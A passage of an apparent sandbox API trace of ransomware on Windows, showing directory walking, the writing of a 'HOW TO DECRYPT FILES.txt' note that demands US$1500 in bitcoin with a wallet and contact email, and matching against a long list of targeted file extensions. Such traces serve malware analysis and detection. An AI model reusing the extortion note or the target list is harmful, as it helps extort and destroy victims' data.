lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild" [0104.011] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild") returned 54 [0104.011] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f73b2e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f73b2e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f73b2e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.014] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.014] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f73b2e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f73b2e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f73b2e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.014] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.014] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.014] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f73b2e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f73b2e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f73b2e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="af28543d9b3e7d9f110448ecce53cd72", cAlternateFileName="AF2854~1")) returned 1 [0104.014] lstrcmpA (lpString1=".", lpString2="af28543d9b3e7d9f110448ecce53cd72") returned -1 [0104.014] lstrcmpA (lpString1="..", lpString2="af28543d9b3e7d9f110448ecce53cd72") returned -1 [0104.014] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\*.*") returned="*.*" [0104.014] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\", lpString2="af28543d9b3e7d9f110448ecce53cd72" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72" [0104.014] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72") returned 87 [0104.014] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f73b2e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f73b2e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f73b2e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.014] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.014] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f73b2e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f73b2e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f73b2e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.015] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.015] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.015] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6c8ec3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f6c8ec3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f6ef024, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSBuild.ni.exe", cAlternateFileName="MSBUIL~1.EXE")) returned 1 [0104.015] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.015] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSBuild.ni.exe") returned -1 [0104.015] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSBuild.ni.exe") returned -1 [0104.015] lstrcmpiA (lpString1="", lpString2="MSBuild.ni.exe") returned -1 [0104.015] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\*.*") returned="*.*" [0104.015] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\" [0104.015] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\") returned="" [0104.015] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\HOW TO DECRYPT FILES.txt" [0104.015] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\msbuild\\af28543d9b3e7d9f110448ecce53cd72\\how to decrypt files.txt")) returned 0xffffffff [0104.015] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\msbuild\\af28543d9b3e7d9f110448ecce53cd72\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.019] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.019] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.022] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.026] CloseHandle (hObject=0x90) returned 1 [0104.027] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\", lpString2="MSBuild.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe" [0104.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.ems") returned 0 [0104.027] lstrlenA (lpString="*.ems") returned 5 [0104.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.db") returned 0 [0104.027] lstrlenA (lpString="*.db") returned 4 [0104.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.dbf") returned 0 [0104.027] lstrlenA (lpString="*.dbf") returned 5 [0104.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.myox") returned 0 [0104.027] lstrlenA (lpString="*.myox") returned 6 [0104.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.myo") returned 0 [0104.027] lstrlenA (lpString="*.myo") returned 5 [0104.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.qbw") returned 0 [0104.027] lstrlenA (lpString="*.qbw") returned 5 [0104.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.qbb") returned 0 [0104.027] lstrlenA (lpString="*.qbb") returned 5 [0104.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.qbm") returned 0 [0104.027] lstrlenA (lpString="*.qbm") returned 5 [0104.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.qbo") returned 0 [0104.027] lstrlenA (lpString="*.qbo") returned 5 [0104.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.qbx") returned 0 [0104.027] lstrlenA (lpString="*.qbx") returned 5 [0104.027] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.qba") returned 0 [0104.027] lstrlenA (lpString="*.qba") returned 5 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.qby") returned 0 [0104.028] lstrlenA (lpString="*.qby") returned 5 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.qbj") returned 0 [0104.028] lstrlenA (lpString="*.qbj") returned 5 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.ofx") returned 0 [0104.028] lstrlenA (lpString="*.ofx") returned 5 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.qif") returned 0 [0104.028] lstrlenA (lpString="*.qif") returned 5 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.mye") returned 0 [0104.028] lstrlenA (lpString="*.mye") returned 5 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.mbox") returned 0 [0104.028] lstrlenA (lpString="*.mbox") returned 6 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.eml") returned 0 [0104.028] lstrlenA (lpString="*.eml") returned 5 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.pst") returned 0 [0104.028] lstrlenA (lpString="*.pst") returned 5 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.ost") returned 0 [0104.028] lstrlenA (lpString="*.ost") returned 5 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.idx") returned 0 [0104.028] lstrlenA (lpString="*.idx") returned 5 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.dbx") returned 0 [0104.028] lstrlenA (lpString="*.dbx") returned 5 [0104.028] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.sql") returned 0 [0104.028] lstrlenA (lpString="*.sql") returned 5 [0104.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.mdb") returned 0 [0104.029] lstrlenA (lpString="*.mdb") returned 5 [0104.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.fdb") returned 0 [0104.029] lstrlenA (lpString="*.fdb") returned 5 [0104.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.wab") returned 0 [0104.029] lstrlenA (lpString="*.wab") returned 5 [0104.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.dat") returned 0 [0104.029] lstrlenA (lpString="*.dat") returned 5 [0104.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.txt") returned 0 [0104.029] lstrlenA (lpString="*.txt") returned 5 [0104.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.jpeg") returned 0 [0104.029] lstrlenA (lpString="*.jpeg") returned 6 [0104.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.jpg") returned 0 [0104.029] lstrlenA (lpString="*.jpg") returned 5 [0104.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.png") returned 0 [0104.029] lstrlenA (lpString="*.png") returned 5 [0104.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.php") returned 0 [0104.029] lstrlenA (lpString="*.php") returned 5 [0104.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.cs") returned 0 [0104.029] lstrlenA (lpString="*.cs") returned 4 [0104.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.cpp") returned 0 [0104.030] lstrlenA (lpString="*.cpp") returned 5 [0104.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.rar") returned 0 [0104.030] lstrlenA (lpString="*.rar") returned 5 [0104.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.zip") returned 0 [0104.030] lstrlenA (lpString="*.zip") returned 5 [0104.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.html") returned 0 [0104.030] lstrlenA (lpString="*.html") returned 6 [0104.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.htm") returned 0 [0104.030] lstrlenA (lpString="*.htm") returned 5 [0104.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.xlsx") returned 0 [0104.030] lstrlenA (lpString="*.xlsx") returned 6 [0104.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.xls") returned 0 [0104.030] lstrlenA (lpString="*.xls") returned 5 [0104.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.mp4") returned 0 [0104.030] lstrlenA (lpString="*.mp4") returned 5 [0104.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.ppt") returned 0 [0104.030] lstrlenA (lpString="*.ppt") returned 5 [0104.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.pptx") returned 0 [0104.030] lstrlenA (lpString="*.pptx") returned 6 [0104.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.doc") returned 0 [0104.031] lstrlenA (lpString="*.doc") returned 5 [0104.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.dot") returned 0 [0104.031] lstrlenA (lpString="*.dot") returned 5 [0104.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.docx") returned 0 [0104.031] lstrlenA (lpString="*.docx") returned 6 [0104.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.7z") returned 0 [0104.031] lstrlenA (lpString="*.7z") returned 4 [0104.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.tar") returned 0 [0104.031] lstrlenA (lpString="*.tar") returned 5 [0104.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.bz2") returned 0 [0104.031] lstrlenA (lpString="*.bz2") returned 5 [0104.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.gz") returned 0 [0104.031] lstrlenA (lpString="*.gz") returned 4 [0104.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.mkv") returned 0 [0104.031] lstrlenA (lpString="*.mkv") returned 5 [0104.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.eml") returned 0 [0104.031] lstrlenA (lpString="*.eml") returned 5 [0104.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.msg") returned 0 [0104.032] lstrlenA (lpString="*.msg") returned 5 [0104.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.edb") returned 0 [0104.032] lstrlenA (lpString="*.edb") returned 5 [0104.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.accdb") returned 0 [0104.032] lstrlenA (lpString="*.accdb") returned 7 [0104.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.odb") returned 0 [0104.032] lstrlenA (lpString="*.odb") returned 5 [0104.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.java") returned 0 [0104.032] lstrlenA (lpString="*.java") returned 6 [0104.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.asm") returned 0 [0104.032] lstrlenA (lpString="*.asm") returned 5 [0104.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.pfx") returned 0 [0104.032] lstrlenA (lpString="*.pfx") returned 5 [0104.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.pem") returned 0 [0104.032] lstrlenA (lpString="*.pem") returned 5 [0104.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.p12") returned 0 [0104.032] lstrlenA (lpString="*.p12") returned 5 [0104.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.gpg") returned 0 [0104.033] lstrlenA (lpString="*.gpg") returned 5 [0104.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.vsd") returned 0 [0104.033] lstrlenA (lpString="*.vsd") returned 5 [0104.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.odg") returned 0 [0104.033] lstrlenA (lpString="*.odg") returned 5 [0104.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.raw") returned 0 [0104.033] lstrlenA (lpString="*.raw") returned 5 [0104.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.nef") returned 0 [0104.033] lstrlenA (lpString="*.nef") returned 5 [0104.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.svg") returned 0 [0104.033] lstrlenA (lpString="*.svg") returned 5 [0104.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.psd") returned 0 [0104.034] lstrlenA (lpString="*.psd") returned 5 [0104.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.vmx") returned 0 [0104.034] lstrlenA (lpString="*.vmx") returned 5 [0104.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.vmdk") returned 0 [0104.034] lstrlenA (lpString="*.vmdk") returned 6 [0104.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MSBuild\\af28543d9b3e7d9f110448ecce53cd72\\MSBuild.ni.exe", pszSpec="*.vdi") returned 0 [0104.034] lstrlenA (lpString="*.vdi") returned 5 